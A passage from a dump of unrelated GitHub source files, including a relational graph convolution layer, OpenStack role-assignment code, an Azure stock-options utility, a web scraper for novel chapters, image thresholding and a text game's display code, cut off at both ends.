Tensor\n) -> Union[SparseTensor, Tensor]:\n if isinstance(edge_index, Tensor):\n return edge_index[:, edge_mask]\n else:\n return masked_select_nnz(edge_index, edge_mask, layout=\"coo\")\n\n\nclass RGCNConv(MessagePassing):\n r\"\"\"The relational graph convolutional operator from the `\"Modeling\n Relational Data with Graph Convolutional Networks\"\n `_ paper\n .. math::\n \\mathbf{x}^{\\prime}_i = \\mathbf{\\Theta}_{\\textrm{root}} \\cdot\n \\mathbf{x}_i + \\sum_{r \\in \\mathcal{R}} \\sum_{j \\in \\mathcal{N}_r(i)}\n \\frac{1}{|\\mathcal{N}_r(i)|} \\mathbf{\\Theta}_r \\cdot \\mathbf{x}_j,\n where :math:`\\mathcal{R}` denotes the set of relations, *i.e.* edge types.\n Edge type needs to be a one-dimensional :obj:`torch.long` tensor which\n stores a relation identifier\n :math:`\\in \\{ 0, \\ldots, |\\mathcal{R}| - 1\\}` for each edge.\n .. note::\n This implementation is as memory-efficient as possible by iterating\n over each individual relation type.\n Therefore, it may result in low GPU utilization in case the graph has a\n large number of relations.\n As an alternative approach, :class:`FastRGCNConv` does not iterate over\n each individual type, but may consume a large amount of memory to\n compensate.\n We advise to check out both implementations to see which one fits your\n needs.\n Args:\n in_channels (int or tuple): Size of each input sample. A tuple\n corresponds to the sizes of source and target dimensionalities.\n In case no input features are given, this argument should\n correspond to the number of nodes in your graph.\n out_channels (int): Size of each output sample.\n num_relations (int): Number of relations.\n num_bases (int, optional): If set, this layer will use the\n basis-decomposition regularization scheme where :obj:`num_bases`\n denotes the number of bases to use. (default: :obj:`None`)\n num_blocks (int, optional): If set, this layer will use the\n block-diagonal-decomposition regularization scheme where\n :obj:`num_blocks` denotes the number of blocks to use.\n (default: :obj:`None`)\n aggr (string, optional): The aggregation scheme to use\n (:obj:`\"add\"`, :obj:`\"mean\"`, :obj:`\"max\"`).\n (default: :obj:`\"mean\"`)\n root_weight (bool, optional): If set to :obj:`False`, the layer will\n not add transformed root node features to the output.\n (default: :obj:`True`)\n is_sorted (bool, optional): If set to :obj:`True`, assumes that\n :obj:`edge_index` is sorted by :obj:`edge_type`. This avoids\n internal re-sorting of the data and can improve runtime and memory\n efficiency. (default: :obj:`False`)\n bias (bool, optional): If set to :obj:`False`, the layer will not learn\n an additive bias. (default: :obj:`True`)\n message_passing_node_dim (int, optional): The axis along which to\n propagate in message passing. (default: :obj:`0`)\n **kwargs (optional): Additional arguments of\n :class:`torch_geometric.nn.conv.MessagePassing`.\n \"\"\"\n\n def __init__(\n self,\n in_channels: Union[int, Tuple[int, int]],\n out_channels: int,\n num_relations: int,\n num_bases: Optional[int] = None,\n num_blocks: Optional[int] = None,\n aggr: str = \"mean\",\n root_weight: bool = True,\n is_sorted: bool = False,\n bias: bool = True,\n message_passing_node_dim: int = 0,\n **kwargs: Any,\n ) -> None:\n kwargs.setdefault(\"aggr\", aggr)\n super().__init__(node_dim=message_passing_node_dim, **kwargs)\n self._WITH_PYG_LIB = torch.cuda.is_available() and _WITH_PYG_LIB\n\n if num_bases is not None and num_blocks is not None:\n raise ValueError(\n \"Can not apply both basis-decomposition and \"\n \"block-diagonal-decomposition at the same time.\"\n )\n\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.num_relations = num_relations\n self.num_bases = num_bases\n self.num_blocks = num_blocks\n self.is_sorted = is_sorted\n\n if isinstance(in_channels, int):\n in_channels = (in_channels, in_channels)\n self.in_channels_l = in_channels[0]\n\n if num_bases is not None:\n self.weight = Parameter(\n torch.Tensor(num_bases, in_channels[0], out_channels)\n )\n self.comp = Parameter(torch.Tensor(num_relations, num_bases))\n\n elif num_blocks is not None:\n if in_channels[0] % num_blocks != 0 and out_channels % num_blocks != 0:\n raise AssertionError(\n \"Channels must be divisible by num_blocks, for RGCNConv.\"\n )\n self.weight = Parameter(\n torch.Tensor(\n num_relations,\n num_blocks,\n in_channels[0] // num_blocks,\n out_channels // num_blocks,\n )\n )\n self.register_parameter(\"comp\", None)\n\n else:\n self.weight = Parameter(\n torch.Tensor(num_relations, in_channels[0], out_channels)\n )\n self.register_parameter(\"comp\", None)\n\n if root_weight:\n self.root = Param(torch.Tensor(in_channels[1], out_channels))\n else:\n self.register_parameter(\"root\", None)\n\n if bias:\n self.bias = Param(torch.Tensor(out_channels))\n else:\n self.register_parameter(\"bias\", None)\n\n self.reset_parameters()\n\n def reset_parameters(self) -> None:\n glorot(self.weight)\n glorot(self.comp)\n glorot(self.root)\n zeros(self.bias)\n\n def forward(\n self,\n x: Union[OptTensor, Tuple[OptTensor, Tensor]],\n edge_index: Adj,\n edge_type: OptTensor = None,\n edge_weight: OptTensor = None,\n ) -> Tensor:\n r\"\"\"\n Args:\n x: The input node features. Can be either a :obj:`[num_nodes,\n in_channels]` node feature matrix, or an optional\n one-dimensional node index tensor (in which case input features\n are treated as trainable node embeddings).\n Furthermore, :obj:`x` can be of type :obj:`tuple` denoting\n source and destination node features.\n edge_index (LongTensor or SparseTensor): The edge indices.\n edge_type: The one-dimensional relation type/index for each edge in\n :obj:`edge_index`.\n Should be only :obj:`None` in case :obj:`edge_index` is of type\n :class:`torch_sparse.tensor.SparseTensor`.\n (default: :obj:`None`)\n \"\"\"\n x_l: OptTensor = None\n if isinstance(x, tuple):\n x_l = x[0]\n else:\n x_l = x\n\n if x_l is None:\n x_l = torch.arange(self.in_channels_l, device=self.weight.device)\n\n x_r: Tensor = x_l\n if isinstance(x, tuple):\n x_r = x[1]\n\n size = (x_l.size(0), x_r.size(0))\n\n if isinstance(edge_index, SparseTensor):\n edge_type = edge_index.storage.value()\n if edge_type is None:\n raise AssertionError(\"edge_type cannot be None for RGCNConv.\")\n\n out = torch.zeros(x_r.size(0), self.out_channels, device=x_r.device)\n\n weight = self.weight\n if self.num_bases is not None:\n weight = (self.comp @ weight.view(self.num_bases, -1)).view(\n self.num_relations, self.in_channels_l, self.out_channels\n )\n\n if self.num_blocks is not None:\n if x_l.dtype == torch.long and self.num_blocks is not None:\n raise ValueError(\n \"Block-diagonal decomposition not supported \"\n \"for non-continuous input features.\"\n )\n\n for i in range(self.num_relations):\n tmp = masked_edge_index(edge_index, edge_type == i)\n h = self.propagate(tmp, x=x_l, edge_type_ptr=None, size=size)\n h = h.view(-1, weight.size(1), weight.size(2))\n h = torch.einsum(\"abc,bcd->abd\", h, weight[i])\n out = out + h.contiguous().view(-1, self.out_channels)\n\n else:\n for i in range(self.num_relations):\n tmp = masked_edge_index(edge_index, edge_type == i)\n if edge_weight is not None:\n tmp_weight = edge_weight[edge_type == i]\n else:\n tmp_weight = None\n\n if x_l.dtype == torch.long:\n log.warning(\"x_l.dtype is torch.long, which is not expected.\")\n else:\n h = self.propagate(\n tmp,\n x=x_l,\n edge_type_ptr=None,\n edge_weight=tmp_weight,\n size=size,\n )\n out = out + (h @ weight[i])\n root = self.root\n if root is not None:\n out = out + (root[x_r] if x_r.dtype == torch.long else x_r @ root)\n\n if self.bias is not None:\n out = out + self.bias\n\n return out\n\n def message(\n self, x_j: Tensor, edge_type_ptr: OptTensor, edge_weight: OptTensor\n ) -> Tensor:\n if edge_type_ptr is not None:\n return segment_matmul(x_j, edge_type_ptr, self.weight)\n\n return x_j if edge_weight is None else edge_weight.view(-1, 1) * x_j\n\n def message_and_aggregate(self, adj_t: SparseTensor, x: Tensor) -> Tensor:\n adj_t = adj_t.set_value(None)\n return matmul(adj_t, x, reduce=self.aggr)\n\n def __repr__(self) -> str:\n return (\n f\"{self.__class__.__name__}({self.in_channels}, \"\n f\"{self.out_channels}, num_relations={self.num_relations})\"\n )\n","repo_name":"vanderschaarlab/synthcity","sub_path":"src/synthcity/plugins/core/models/RGCNConv.py","file_name":"RGCNConv.py","file_ext":"py","file_size_in_byte":10913,"program_lang":"python","lang":"en","doc_type":"code","stars":246,"dataset":"github-code","pt":"7"} +{"seq_id":"11299561973","text":"#Create a program that takes some text and returns a list of all the characters \n# in the text that are not vowels, sorted in alphabetical order.\n\ntext = str(input(\"Please enter some text: \"))\n\nvowels = {'a', 'e', 'i' , 'o', 'u', 'A', 'E', 'I', 'O', 'U'}\nconsonants_list = set()\n\nfor char in text:\n if char not in vowels:\n consonants_list.add(char)\n\nsortedlist = sorted(consonants_list)\nprint(sortedlist)\n\n#Other way of doing the same thing.\nprint(\"-\" * 100)\nsometext = \"Hey I am learning Python\"\nprint(sometext)\n\nvowels = frozenset(\"aeiou\")\nnewSet = set(sometext).difference(vowels)\n\nprint(\"New set is {}\".format(sorted(newSet)))\n","repo_name":"surajbnaik90/devops-essentials","sub_path":"PythonBasics/PythonBasics/Challenges/challenge5.py","file_name":"challenge5.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71309435742","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom openstack import resource\nfrom openstack import utils\n\n\nclass System(resource.Resource):\n resource_key = 'system'\n base_path = '/system'\n\n # capabilities\n\n def assign_role_to_user(self, session, user, role):\n \"\"\"Assign role to user on system\"\"\"\n url = utils.urljoin(self.base_path, 'users', user.id, 'roles', role.id)\n resp = session.put(\n url,\n )\n if resp.status_code == 204:\n return True\n return False\n\n def validate_user_has_role(self, session, user, role):\n \"\"\"Validates that a user has a role on a system\"\"\"\n url = utils.urljoin(self.base_path, 'users', user.id, 'roles', role.id)\n resp = session.head(\n url,\n )\n if resp.status_code == 204:\n return True\n return False\n\n def unassign_role_from_user(self, session, user, role):\n \"\"\"Unassigns a role from a user on a system\"\"\"\n url = utils.urljoin(self.base_path, 'users', user.id, 'roles', role.id)\n resp = session.delete(\n url,\n )\n if resp.status_code == 204:\n return True\n return False\n\n def assign_role_to_group(self, session, group, role):\n \"\"\"Assign role to group on system\"\"\"\n url = utils.urljoin(\n self.base_path, 'groups', group.id, 'roles', role.id\n )\n resp = session.put(\n url,\n )\n if resp.status_code == 204:\n return True\n return False\n\n def validate_group_has_role(self, session, group, role):\n \"\"\"Validates that a group has a role on a system\"\"\"\n url = utils.urljoin(\n self.base_path, 'groups', group.id, 'roles', role.id\n )\n resp = session.head(\n url,\n )\n if resp.status_code == 204:\n return True\n return False\n\n def unassign_role_from_group(self, session, group, role):\n \"\"\"Unassigns a role from a group on a system\"\"\"\n url = utils.urljoin(\n self.base_path, 'groups', group.id, 'roles', role.id\n )\n resp = session.delete(\n url,\n )\n if resp.status_code == 204:\n return True\n return False\n","repo_name":"openstack/openstacksdk","sub_path":"openstack/identity/v3/system.py","file_name":"system.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","stars":245,"dataset":"github-code","pt":"7"} +{"seq_id":"43647944511","text":"import csv\n\ndef leer_archivo(name):\n datos = []\n with open(name) as f:\n reader = csv.reader(f)\n entro = False #Esto porque comienza con un x,y en el excel\n for fila in reader:\n if entro == True:\n punto = (int(fila[0]),int(fila[1]))\n datos.append(punto)\n entro = True\n return datos\n","repo_name":"AleSilva04/wv72_tf_201822717_201620127_201816502_20181d073_201815776","sub_path":"LeerCsv.py","file_name":"LeerCsv.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"19858211287","text":"import datetime\nimport yahoofinance as yf\nimport optionChain as oc\nfrom datetime import timedelta\nimport pytz\nimport config\nfrom azure.storage.table import EntityProperty, EdmType\nfrom azure.storage import CloudStorageAccount\n\nTABLE_NAME_SYMBOLS = \"Symbols\" # name of Azure table for list of S&P 500 stock symbols\nTABLE_NAME_STOCKS = \"Stocks\" # name of Azure table for stock historical data\nTABLE_NAME_OPTIONS = \"Options\" # name of the Azure table for option historical data\n\nTABLE_NAME_AZURETEST = \"AzureTest\" # name of the Azure table for option historical data\n\n\"\"\"\nConvert the date from the format in which it appears in the yahoo finance api\nto a format that can be used for a date in Python. The yahoo finance version\nis an integer value representing the number of seconds since Jan 1, 1970\n\"\"\"\ndef epoch_to_date(seconds):\n epoch_date = datetime.date(1970,1,1)\n return epoch_date + timedelta(seconds = seconds)\n\n\n\"\"\"\nMake an api call to retrieve options trading data for symbol 'spy'.\nThis is the etf for the S&P 500. If the market is open (i.e., it's\nnot a weekend or bank holiday), then the function will see the trading\ndata for 'spy' and return True, indicating that the market is open today.\n\nNote: we also can look at the attribute \"marketState\". The set of attributes\nvaries depending on whether the json was generated while the market was open\nor closed. Both have an attribute \"marketState\", but the values differ\ndepending on open or closed. We'll need to investigate further to see\nif there are any other values.\n\"\"\"\ndef is_market_closed_today(currentDate, currentDateAzure):\n symbol = 'spy' \n try:\n jsonData = yf.retrieve_option_expiration_dates(symbol)\n if len(jsonData['optionChain']['result'][0]['options']) > 0:\n optionChain = oc.OptionChain(jsonData, symbol, currentDate, currentDateAzure)\n mostRecentTradeDate = jsonData['optionChain']['result'][0]['quote']['postMarketTime'] \n return epoch_to_date(mostRecentTradeDate)!=currentDate\n \n except KeyError as err:\n # If the market is open when this call is made, then the json results will not include\n # an attribute for \"postMarketTime\". This will generate a KeyError and bring us to \n # this chunk of code. We'll assume we got here because the market is currently open,\n # and return a result of False to indicate that the market is not closed\n return False\n\n\ndef date_for_azure(dt):\n # receives a datetime object\n # returns the object in a format that will go into Azure as a datetime object\n\n # first, strip the time component from the datetime to ensure dates of the same day will match\n dtNoTime = datetime.datetime(dt.year, dt.month, dt.day)\n # add the timezone component required for an \"aware\" date object\n dtAware = pytz.timezone('US/Eastern').localize(dtNoTime)\n\n # now cast this as an EntityProperty for use in the Azure entity object to be passed to the table update\n # Azure Table Storage requires that the date have a time zone component (i.e., is \"aware\")\n ep = EntityProperty(EdmType.DATETIME, dtAware)\n return ep\n\ndef date_for_import(stringDate):\n # receives the date in string format from the import of the historical options data\n # returns as (unaware) datetime object (that is, not timezone aware)\n return(datetime.datetime.strptime(stringDate,'%m/%d/%Y'))\n\n\ndef get_azure_account():\n # returns the account needed to access the Azure storage tables\n account = None\n if config.IS_EMULATED:\n account = CloudStorageAccount(is_emulated=True)\n else:\n account_name = config.STORAGE_ACCOUNT_NAME\n account_key = config.STORAGE_ACCOUNT_KEY\n account = CloudStorageAccount(account_name, account_key)\n return account\n\n\nepochDates = {}\n\nhistoricalLoadDates = {} # used only for the initial loading of the historical options data","repo_name":"rwreagan/StockOptionsUpdate","sub_path":"PythonApplication1/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":3903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"35637667899","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 3 11:28:14 2017\n\n@author: fhogan\n\"\"\"\n\nimport json\nimport pdb\nfrom pprint import pprint\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef column(matrix, i):\n return [row[i] for row in matrix]\n \ndef plot_experiment(filename):\n title = filename\n experiments = json.load(open(filename))\n target = json.load(open('../../../../../Simulation/Data/'+filename))\n #~ pprint(data)\n x_experiments = experiments['xc'][0][:]\n y_experiments = experiments['xc'][1][:]\n x_target = column(target['Matrices']['xc_star'], 0)\n y_target = column(target['Matrices']['xc_star'], 1)\n fig, ax = plt.subplots()\n ax.plot(x_experiments,y_experiments, 'r--', label='Experiments')\n ax.plot(x_target, y_target, 'k', label='Target')\n plt.xlabel('x (m)')\n plt.ylabel('y (m)')\n plt.title(title)\n legend = ax.legend(loc='upper right', shadow=True)\n frame = legend.get_frame()\n\n # Set the fontsize\n for label in legend.get_texts():\n label.set_fontsize('large')\n\n for label in legend.get_lines():\n label.set_linewidth(1.5) # the legend line width\n \n plt.axis('equal')\n plt.savefig(title + '.png')\n plt.show()\n\ndef plot_experiments():\n for i in [18,17,16,15,14,13,12, 11, 10]:\n filename='8Track_line_pusher_radius_0_'+str(i)+'_vel_0_05.json'\n title = 'line_pusher_radius_'+str(i)\n experiments = json.load(open(filename))\n target = json.load(open('../../../../../Simulation/Data/'+filename))\n #~ pprint(data)\n x_experiments = experiments['xc'][0][:]\n y_experiments = experiments['xc'][1][:]\n x_target = column(target['Matrices']['xc_star'], 0)\n y_target = column(target['Matrices']['xc_star'], 1)\n fig, ax = plt.subplots()\n ax.plot(x_experiments,y_experiments, 'r--', label='Experiments')\n ax.plot(x_target, y_target, 'k', label='Target')\n plt.xlabel('x (m)')\n plt.ylabel('y (m)')\n plt.title(title)\n legend = ax.legend(loc='upper right', shadow=True)\n frame = legend.get_frame()\n\n # Set the fontsize\n for label in legend.get_texts():\n label.set_fontsize('large')\n\n for label in legend.get_lines():\n label.set_linewidth(1.5) # the legend line width\n \n plt.axis('equal')\n plt.savefig(title + '.png')\n \ndef convert2pusher(x_vec,y_vec, theta_vec, ry_vec):\n x_new = []\n y_new = []\n for i in range(len(x_vec)):\n x = x_vec[i]\n y = y_vec[i]\n theta = theta_vec[i]\n ry = ry_vec[i]\n \n ribi = np.array([x,y])\n rbpb = np.array([-0.045,ry])\n Cbi = np.array([[np.cos(theta), np.sin(theta)],[-np.sin(theta), np.cos(theta)]])\n ripi = ribi + np.dot(Cbi.transpose(),rbpb)\n\n x_new.append(ripi[0])\n y_new.append(ripi[1])\n \n return np.array(x_new), np.array(y_new)\n \n \ndef plot_nominal():\n filename='8Track_line_pusher_radius_0_15_vel_0_05_open_loop.json'\n filename_target='8Track_point_pusher_radius_0_15_vel_0_05.json'\n title = 'Open Loop Trajectory'\n experiments = json.load(open(filename))\n target = json.load(open('../../../../../Simulation/Data/'+filename_target))\n\n x_experiments = np.array(experiments['q_pusher_sensed'][0][:])- np.array(experiments['q_pusher_sensed'][0][0])\n y_experiments = experiments['q_pusher_sensed'][1][:]\n x_target = column(target['Matrices']['xc_star'], 0)\n y_target = column(target['Matrices']['xc_star'], 1)\n theta_target = column(target['Matrices']['xc_star'], 2)\n ry_target = column(target['Matrices']['xc_star'], 3)\n x_new, y_new = convert2pusher(x_target, y_target, theta_target, ry_target)\n \n fig, ax = plt.subplots()\n ax.plot(x_experiments,y_experiments, 'r--', label='Robot Pusher Trajectory')\n ax.plot(x_new, y_new, 'b--', label='Desired Pusher Trajectory')\n ax.plot(x_target, y_target, 'k', label='Desired Object Trajectory')\n plt.xlabel('x (m)')\n plt.ylabel('y (m)')\n plt.title(title)\n legend = ax.legend(loc='upper right', shadow=True)\n frame = legend.get_frame()\n\n # Set the fontsize\n for label in legend.get_texts():\n label.set_fontsize('large')\n\n for label in legend.get_lines():\n label.set_linewidth(1.5) # the legend line width\n \n plt.axis('equal')\n plt.savefig(title + '.png')\n plt.show()\n pdb.set_trace()\n\n \n\nif __name__ == \"__main__\":\n #~ plot_experiment('8Track_point_pusher_radius_0_15_vel_0_02.json')\n #~ plot_experiments()\n\n plot_nominal()\n pdb.set_trace()\n","repo_name":"fhogan/pushing_benchmark","sub_path":"catkin_ws/src/push_control/src/Data/plot_traj.py","file_name":"plot_traj.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"7516273488","text":"\nimport sys\n\nfile = open('input', 'r')\n\ntotal = 0\nfor line in file:\n\n hasPair = False\n hasRepeat = False\n\n for i in range(len(line) - 2):\n pair = line[i:i+2]\n rem = line[i+2:]\n\n if pair in rem:\n hasPair = True\n #print('Found pair {} in {}'.format(pair, line))\n break\n\n for i in range(len(line) - 2):\n if line[i] == line[i+2]:\n hasRepeat = True\n \n if hasPair and hasRepeat:\n total += 1\n\nprint('There are {} nice names'.format(total))\n","repo_name":"markmcb42/adventofcode","sub_path":"2015/day05_2.py","file_name":"day05_2.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22997239623","text":"import requests,ssl,re,time,os,json\nfrom bs4 import BeautifulSoup\nrequests.packages.urllib3.disable_warnings()\n#headers = {\"User-Agent\":\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE\", \"Accept-Encoding\":\"gzip\",\"Connection\": \"close\"} \nheaders = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36\", \"Accept-Encoding\":\"gzip\",\"Connection\": \"close\"} \nssl._create_default_https_context = ssl._create_unverified_context\nrequests.DEFAULT_RETRIES = 5 # 增加重试连接次数\ns = requests.session()\ns.keep_alive = False # 关闭多余连接\ndef get_soup(url, delay): # delay some seconds\n time.sleep(delay)\n try:\n data = requests.get(url,headers=headers,verify = False)\n data.encoding = data.apparent_encoding\n html = data.text\n return BeautifulSoup(html, 'html.parser')\n except:\n delay += 5\n if delay > 20:\n print(\"Sorry, I stop trying with too many times.\")\n exit(1)\n print(\"Try it after %d seconds: %s\"%(delay,url))\n get_soup(url, delay)\n\nwriter_books_chaptersurl = {}\nif os.path.exists('writer_books_chaptersurl.json'):\n writer_books_chaptersurl = json.load(open('writer_books_chaptersurl.json','r',encoding='utf8'))\n\nwriter_books_chapters_contents = {}\nwbc = []\nfor w,bd in writer_books_chaptersurl.items():\n wbc.append((w,bd))\n\ni = -1\nwhile(True):\n writer,bookdict = wbc[i]\n i-=1\n if writer+'.json' in os.listdir('.'):\n break\n writer_books_chapters_contents[writer] = {}\n try:\n for b, culist in bookdict.items():\n writer_books_chapters_contents[writer][b] = {}\n for cu in culist:\n _, url = cu # _ = chap_name, not used because some chapter has a parent big-chapter name\n soup = get_soup(url, 0)\n header = soup.find('font', color=\"#000000\", size=\"4\").text.replace('\\xa0',' ') #\n text = soup.get_text()\n writer_books_chapters_contents[writer][b][header] = re.findall(re.compile('\\r\\n\\xa0\\xa0\\xa0\\xa0(.*?)\\n'),text)\n print(writer, b, _, url)\n except Exception as e:\n print(writer,\" ---- Error occured. Please redump this author. ---- \",e)\n continue #exit(1)\n json.dump(writer_books_chapters_contents[writer], open(writer+'.json','w',encoding='utf8'), ensure_ascii=False)\n print(writer+\" ============================= done.\")\n\n#json.dump(writer_books_chapters_contents, open('authers_books_chapters_paragraphs.json','w',encoding='utf8'), ensure_ascii=False)\n\n","repo_name":"dhutas/backup","sub_path":"spiders/tianyabooks/spider_tianyabooks+breakpoint_reverse.py","file_name":"spider_tianyabooks+breakpoint_reverse.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72729448542","text":"#import modules\nimport argparse\nimport cv2\nimport numpy as np\n\n#set up argument parser\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required = True,\n help = \"Path to the image file\")\nargs = vars(ap.parse_args())\n\n# Load the image and show it\nimage = cv2.imread(args[\"image\"])\ncv2.imshow(\"orig\", image)\n\n#convert to grayscale\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n#apply gaussian blur with a 7x7 kernel\nblurred = cv2.GaussianBlur(gray, (7, 7), 0)\n\n#use Otsu automatic thresholding\n#automatically determines the best threshold 'T'\n(T, thresh_inv) = cv2.threshold(blurred, 0, 255,\n cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)\ncv2.imshow(\"treshold\", thresh_inv)\nprint(\"Otsu T Value:{}\".format(T))\n\n#visualize only the masked regions in the image\ncv2.imshow(\"output\", cv2.bitwise_and(image, image, mask=thresh_inv))\ncv2.waitKey(0)\n","repo_name":"dustin-thewind/computer-vision","sub_path":"otsu_thresholding.py","file_name":"otsu_thresholding.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8545709591","text":"import sys\n\ne,s,m = map(int,sys.stdin.readline().split()) # e: 지구, s: 태양, m: 달\n\nresult = 1\n\nwhile True:\n if (result - e) % 15 == 0 and (result - s) % 28 == 0 and (result - m) % 19 == 0:\n break\n else:\n result += 1\nprint(result)\n","repo_name":"kimkihoon0515/CodingTest","sub_path":"브루트 포스/1476/1476.py","file_name":"1476.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"22078435063","text":"from model.creatures.Archer_bandit import ArcherBandit\nfrom view.util import Util\nfrom time import sleep\nfrom model.creatures import Bandit, Player\n\nclass UI:\n @staticmethod\n def display_room(room):\n '''\n Displays complete game board on the screen\n\n Returns:\n Nothing\n '''\n Util.clear_screen()\n print(\"\\n\")\n for i in range(len(room.fields)):\n temp_str = ''\n for j in range(len(room.fields[0])):\n temp_str += str(room.fields[i][j])\n print(\"\\t\\t\"+temp_str)\n @staticmethod\n def display_statistics(player):\n print(f\"Inventory: {player.inventory}\", end = \"\\t\")\n print(f\"Health: {player.health} Arrows: {player.arrows} Mana: {player.mana}\", end=\"\\t\")\n print('')\n def add_new_line(times=3):\n print(times*\"\\n\", end=\"\")\n\n\n @staticmethod\n def display_decor_info(object, info):\n \n info_line = \"=\"*5 + repr(object) + \"=\"*5\n decor_line = \"=\" * len(info_line)\n print(f\"\"\"\n {decor_line}\n {info_line}\n {decor_line}\n {info.center(len(info_line), \"=\")}\n {decor_line}\n \"\"\")\n sleep(0.5)\n @staticmethod\n\n\n def display_fight(player, enemy):\n Util.clear_screen()\n UI.add_new_line(2)\n print(f'\\t\\t\\t {player} {enemy.fight_repr()} ')\n print()\n print(\"\\t\\t\\t*** FIGHT ***\\n\")\n print(f\"\\tPLAYER Health: {player.health} Arrows: {player.arrows} Mana: {player.mana}\\\n \\n\\tENEMY Health: {enemy.health} Arrows: {enemy.arrows} Mana: {enemy.mana}\")\n print()\n\n\n \n \n @staticmethod\n def display_fight_statistics():\n pass\n \n @staticmethod\n def annouce_winner(winner):\n UI.add_new_line()\n if type(winner) is Player.Player:\n UI.display_decor_info(\"Winner is\", \"Player\")\n elif isinstance(winner, (Bandit.Bandit)):\n UI.display_decor_info(\"You've got\", \"DEFEATED\")\n else:\n print(\"You've runned away\")\n\n input(\"\\nPress enter to continue...\")\n\n @staticmethod\n def display_full_statistics(player):\n full_statistics = player.get_statistics()\n # formatted_rows = UI.get_formatted_rows_list(full_statistics)\n # UI.print_table(formatted_rows)\n Util.clear_screen()\n print(\"Full player statistics:\\n\")\n for key, value in full_statistics.items():\n print(\"| {:20} : {:10} |\".format(key, value))\n input(\"\\nPress enter to continue...\")\n Util.clear_screen()\n \n\n @staticmethod\n def display_melee_animation(player, enemy, damage):\n is_blocked = damage < 0 \n\n if damage == 0:\n UI.display_info(\"Melee attack has missed.\")\n return None \n elif type(player) is Player.Player:\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()}-/==> {enemy.fight_repr()} ')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()}-/==> {enemy.fight_repr()} ')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()}-/==>{enemy.fight_repr()} ')\n sleep(0.25)\n if is_blocked:\n UI.display_info(\"Melee attack has been blocked\")\n return\n \n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()}-/={enemy.fight_repr()}=>')\n\n \n elif type(player) is not Player.Player:\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {enemy.fight_repr()} <==/-{player.fight_repr()} ')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {enemy.fight_repr()} <==/-{player.fight_repr()} ')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {enemy.fight_repr()}<==/-{player.fight_repr()} ')\n sleep(0.25)\n if is_blocked:\n UI.display_info(\"Melee attack has been blocked\")\n return\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t<={enemy.fight_repr()}=/-{player.fight_repr()} ')\n print(f\"Damage done: {damage}.\")\n sleep(2)\n \n @staticmethod\n def display_range_animation(player, enemy, damage):\n is_blocked = damage < 0 \n\n if damage == 0:\n UI.display_info(\"Range attack missed or no ammunition.\")\n elif type(player) is Player.Player:\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()}|)-> {enemy.fight_repr()} ')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()}|) --> {enemy.fight_repr()} ')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()}|) -->{enemy.fight_repr()} ')\n sleep(0.25)\n\n if is_blocked:\n UI.display_info(\"Range attack has been blocked\")\n return\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()}|) -{enemy.fight_repr()}> ')\n sleep(0.25)\n elif type(player) is not Player.Player:\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {enemy.fight_repr()} <-(|{player.fight_repr()}')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {enemy.fight_repr()} <-- (|{player.fight_repr()} ')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t 